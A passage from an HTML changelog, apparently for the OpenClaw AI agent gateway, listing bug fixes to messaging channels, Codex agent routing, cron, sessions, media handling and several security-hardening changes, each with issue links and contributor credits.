<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
<p>Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482773792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84409/hovercard" href="https://github.com/openclaw/openclaw/pull/84409">#84409</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</p>
</li>
<li>
<p>Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508451345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85733/hovercard" href="https://github.com/openclaw/openclaw/pull/85733">#85733</a>)</p>
</li>
<li>
<p>Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502468683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85348/hovercard" href="https://github.com/openclaw/openclaw/pull/85348">#85348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>.</p>
</li>
<li>
<p>Gateway: clear the runtime config snapshot before <code>SIGUSR1</code> in-process restarts so config changes survive the next gateway loop. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515407785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86388" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86388/hovercard" href="https://github.com/openclaw/openclaw/pull/86388">#86388</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XuZehan-iCenter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XuZehan-iCenter">@XuZehan-iCenter</a>.</p>
</li>
<li>
<p>Models: show OAuth delegation markers as configured <code>models.json</code> auth while keeping runtime route usability checks strict. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515241861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86378/hovercard" href="https://github.com/openclaw/openclaw/pull/86378">#86378</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</p>
</li>
<li>
<p>Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514058569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86313/hovercard" href="https://github.com/openclaw/openclaw/pull/86313">#86313</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
